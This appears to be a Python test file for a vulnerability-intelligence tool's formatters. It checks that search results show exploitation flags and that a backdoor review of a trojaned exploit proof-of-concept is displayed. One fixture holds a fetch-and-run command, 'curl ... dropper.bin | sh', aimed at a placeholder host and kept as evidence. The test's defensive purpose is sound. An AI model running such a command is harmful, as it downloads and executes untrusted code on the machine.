from __future__ import annotations

from eip_mcp import formatters


def test_format_search_results_surfaces_new_exploitation_signals() -> None:
    text = formatters.format_search_results(
        {
            "total": 1,
            "page": 1,
            "total_pages": 1,
            "items": [
                {
                    "cve_id": "CVE-2026-1111",
                    "severity_label": "critical",
                    "cvss_v3_score": 9.8,
                    "epss_score": 0.91,
                    "exploit_count": 3,
                    "is_kev": False,
                    "is_vulncheck_kev": False,
                    "is_exploited_wild": True,
                    "ransomware_use": "Known",
                    "has_nuclei_template": True,
                    "is_test": True,
                    "title": "Signal-rich vulnerability",
                }
            ],
        }
    )

    assert "[WILD]" in text
    assert "[RANSOMWARE]" in text
    assert "[NUCLEI]" in text
    assert "[TEST]" in text


def test_format_exploit_analysis_surfaces_backdoor_review() -> None:
    text = formatters.format_exploit_analysis(
        {
            "id": 61514,
            "source": "nomisec",
            "source_id": "evil-poc",
            "source_url": "https://example.com/evil-poc",
            "cve_id": "CVE-2026-2222",
            "cve_title": "Example RCE",
            "severity_label": "critical",
            "cvss_v3_score": 9.8,
            "llm_classification": "working_poc",
            "llm_analysis": {
                "attack_type": "RCE",
                "complexity": "simple",
                "reliability": "reliable",
                "confidence": 0.92,
            },
            "llm_backdoor_verdict": "trojan",
            "llm_backdoor_reviewed_at": "2026-03-20T11:00:00+00:00",
            "llm_backdoor_review": {
                "classification": "trojan",
                "confidence": 0.97,
                "operator_risk": "high",
                "summary": "Downloads a second-stage payload before pretending to exploit the target.",
                "deception_indicators": [
                    "Fetches an external binary unrelated to the advertised CVE.",
                ],
                "iocs": ["https://cdn.example.invalid/dropper.bin"],
                "evidence_snippets": ["curl -fsSL https://cdn.example.invalid/dropper.bin | sh"],
            },
        }
    )

    assert "BACKDOOR REVIEW: TROJAN" in text
    assert "Operator Risk: high" in text
    assert "Reviewed:" in text
    assert "Deception Indicators:" in text
    assert "IOCs:" in text
    assert "Evidence:" in text
